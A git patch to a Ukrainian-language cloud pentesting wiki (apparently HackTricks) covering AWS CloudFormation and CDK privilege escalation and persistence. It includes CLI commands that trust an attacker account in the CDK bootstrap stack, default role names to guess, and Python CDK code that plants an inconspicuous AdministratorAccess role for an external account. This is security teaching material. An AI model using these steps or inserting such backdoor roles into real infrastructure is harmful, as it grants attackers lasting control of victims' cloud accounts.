From b37eadafbdfe6caee163e8c23676f1bfbdeff087 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 7 Apr 2025 01:32:04 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud --- src/SUMMARY.md | 1 + .../aws-cloudformation-persistence.md | 23 +++++++ .../aws-cloudformation-privesc/README.md | 65 ++++++++++++++++--- .../aws-cloudformation-and-codestar-enum.md | 8 ++- 4 files changed, 86 insertions(+), 11 deletions(-) create mode 100644 src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 5939f1183..a470914ae 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -211,6 +211,7 @@ - [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md) - [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md) - [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md) + - [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md) - [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md) - [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md) - [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md) diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md new file mode 100644 index 000000000..19cf3bdab --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md @@ -0,0 +1,23 @@ +# AWS - Cloudformation Persistence + +{{#include ../../../banners/hacktricks-training.md}} + +## CloudFormation + +Для отримання додаткової інформації, зверніться до: + +{{#ref}} +../aws-services/aws-cloudformation-and-codestar-enum.md +{{#endref}} + +### CDK Bootstrap Stack + +AWS CDK розгортає CFN стек під назвою `CDKToolkit`. Цей стек підтримує параметр `TrustedAccounts`, який дозволяє зовнішнім обліковим записам розгортати проекти CDK у жертвенному обліковому записі. Зловмисник може зловживати цим, щоб надати собі безстроковий доступ до жертвеного облікового запису, використовуючи AWS cli для повторного розгортання стека з параметрами або AWS CDK cli. +```bash +# CDK +cdk bootstrap --trust 1234567890 + +# AWS CLI +aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890 +``` +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index 02774f317..bc3e674ca 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -24,7 +24,7 @@ aws cloudformation create-stack --stack-name \ iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md {{#endref}} -**Потенційний вплив:** Privesc до ролі служби cloudformation, що вказана. +**Потенційний вплив:** Привілейоване підвищення до ролі служби cloudformation. ### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`) @@ -37,23 +37,23 @@ aws cloudformation update-stack \ --capabilities CAPABILITY_IAM \ --region eu-west-1 ``` -Дозвіл `cloudformation:SetStackPolicy` можна використовувати, щоб **надати собі дозвіл `UpdateStack`** на стек і виконати атаку. +`cloudformation:SetStackPolicy` дозволяє **наділити себе правом `UpdateStack`** над стеком і виконати атаку. -**Потенційний вплив:** Привілейоване підвищення до ролі служби cloudformation. +**Потенційний вплив:** Привілейоване підвищення до ролі сервісу cloudformation. ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -Якщо у вас є цей дозвіл, але **немає `iam:PassRole`**, ви все ще можете **оновити стеки** та зловживати **IAM ролями, які вже прикріплені**. Перегляньте попередній розділ для прикладу експлуатації (просто не вказуйте жодну роль в оновленні). +Якщо у вас є це право, але **немає `iam:PassRole`**, ви все ще можете **оновити стеки** та зловживати **IAM ролями, які вже прикріплені**. Перегляньте попередній розділ для прикладу експлуатації (просто не вказуйте жодну роль в оновленні). -Дозвіл `cloudformation:SetStackPolicy` можна використовувати, щоб **надати собі дозвіл `UpdateStack`** на стек і виконати атаку. +`cloudformation:SetStackPolicy` дозволяє **наділити себе правом `UpdateStack`** над стеком і виконати атаку. -**Потенційний вплив:** Привілейоване підвищення до ролі служби cloudformation, яка вже прикріплена. +**Потенційний вплив:** Привілейоване підвищення до ролі сервісу cloudformation, яка вже прикріплена. ### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -Зловмисник з дозволами на **передачу ролі та створення та виконання ChangeSet** може **створити/оновити новий стек cloudformation і зловживати ролями служби cloudformation** так само, як з CreateStack або UpdateStack. +Зловмисник з правами **передавати роль і створювати та виконувати ChangeSet** може **створити/оновити новий стек cloudformation і зловживати ролями сервісу cloudformation** так само, як з CreateStack або UpdateStack. -Наступна експлуатація є **варіацією**[ **CreateStack**](./#iam-passrole-cloudformation-createstack), що використовує **дозволи ChangeSet** для створення стека. +Наступна експлуатація є **варіацією**[ **CreateStack**](#iam-passrole-cloudformation-createstack), що використовує **права ChangeSet** для створення стека. ```bash aws cloudformation create-change-set \ --stack-name privesc \ @@ -89,13 +89,13 @@ aws cloudformation describe-stacks \ ``` --change-set-type UPDATE ``` -**Потенційний вплив:** Privesc до ролі служби cloudformation, яка вже прикріплена. +**Потенційний вплив:** Privesc до ролі сервісу cloudformation, яка вже прикріплена. ### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`) Зловмисник може зловживати цими дозволами для створення/оновлення StackSets, щоб зловживати довільними ролями cloudformation. -**Потенційний вплив:** Privesc до ролей служби cloudformation. +**Потенційний вплив:** Privesc до ролей сервісу cloudformation. ### `cloudformation:UpdateStackSet` @@ -103,8 +103,53 @@ aws cloudformation describe-stacks \ **Потенційний вплив:** Privesc до прикріплених ролей cloudformation. +## AWS CDK + +AWS cdk - це набір інструментів, що дозволяє користувачам визначати свою інфраструктуру як код на мовах, з якими вони вже знайомі, а також легко повторно використовувати секції. CDK потім перетворює код високого рівня (тобто python) у шаблони Cloudformation (yaml або json). + +Щоб використовувати CDK, адміністративний користувач спочатку повинен підготувати обліковий запис, що створює кілька ролей IAM, включаючи *exec role*, яка має \*/\* дозволи. Ці ролі слідують структурі іменування `cdk----`. Підготовка повинна бути виконана один раз на регіон на обліковий запис. + +За замовчуванням, користувачі CDK не мають доступу до списку ролей, необхідних для використання CDK, що означає, що вам потрібно буде визначити їх вручну. Якщо ви зламаєте машину розробника або якийсь вузол CI/CD, ці ролі можуть бути прийняті для надання вам можливості розгортати CFN шаблони, використовуючи роль `cfn-exec`, щоб дозволити CFN розгортати будь-які ресурси, повністю компрометуючи обліковий запис. + +### Визначення імен ролей + +Якщо у вас є `cloudformation:DescribeStacks`, ролі визначені в стеку під назвою `CDKToolkit`, і ви можете витягти імена звідти. + +Якщо ви на машині, яка використовувалася для створення та розгортання проектів CDK, ви можете витягти їх з `cdk.out/manafest.json` у кореневому каталозі проекту. + +Ви також можете зробити хорошу здогадку про те, якими вони є. `qualifier` - це рядок, доданий до ролей, що дозволяє одночасно розгортати кілька екземплярів підготовки CDK, однак значення за замовчуванням закодоване як `hnb659fds`. +``` +# Defaults +cdk-hnb659fds-cfn-exec-role-- +cdk-hnb659fds-deploy-role-- +cdk-hnb659fds-file-publishing-role-- +cdk-hnb659fds-image-publishing-role-- +cdk-hnb659fds-lookup-role-- +``` +### Додавання шкідливого коду до виходу проекту + +Якщо ви можете записувати в вихід проекту, але не можете розгорнути його самостійно (наприклад, розробник розгортає код через CI/CD, а не з локальної машини), ви все ще можете скомпрометувати середовище, додавши шкідливі ресурси до стеку. Наступне додає IAM роль, яка може бути прийнята обліковим записом зловмисника, до проекту python CDK. +```python +class CdkTestStack(Stack): +def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None: +super().__init__(scope, construct_id, **kwargs) + +# ---------- +# Some existing code..... +# ---------- + +role = iam.Role( +self, +"cdk-backup-role", # Role name, make it something subtle +assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role +managed_policies=[ +iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess +], +) +``` ## Посилання - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) +- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml) {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index dbbd09ebd..b067482d4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -37,13 +37,19 @@ aws cloudformation list-stack-set-operation-results --stack-set-name --op ../aws-privilege-escalation/aws-cloudformation-privesc/ {{#endref}} +### Persistence + +{{#ref}} +../aws-persistence/aws-cloudformation-persistence.md +{{#endref}} + ### Post-Exploitation Перевірте наявність **секретів** або чутливої інформації в **шаблоні, параметрах та виході** кожного CloudFormation ## Codestar -AWS CodeStar - це сервіс для створення, управління та роботи з проектами розробки програмного забезпечення на AWS. Ви можете швидко розробляти, збирати та розгортати додатки на AWS за допомогою проекту AWS CodeStar. Проект AWS CodeStar створює та **інтегрує AWS сервіси** для вашого інструментального ланцюга розробки проекту. Залежно від вибору шаблону проекту AWS CodeStar, цей інструментальний ланцюг може включати контроль версій, збірку, розгортання, віртуальні сервери або безсерверні ресурси та інше. AWS CodeStar також **управляє дозволами, необхідними для користувачів проекту** (які називаються членами команди). +AWS CodeStar - це сервіс для створення, управління та роботи з проектами розробки програмного забезпечення на AWS. Ви можете швидко розробляти, збирати та розгортати додатки на AWS за допомогою проекту AWS CodeStar. Проект AWS CodeStar створює та **інтегрує AWS сервіси** для вашого інструментального ланцюга розробки проекту. Залежно від вибору шаблону проекту AWS CodeStar, цей інструментальний ланцюг може включати контроль версій, збірку, розгортання, віртуальні сервери або безсерверні ресурси тощо. AWS CodeStar також **управляє дозволами, необхідними для користувачів проекту** (які називаються членами команди). ### Enumeration ```bash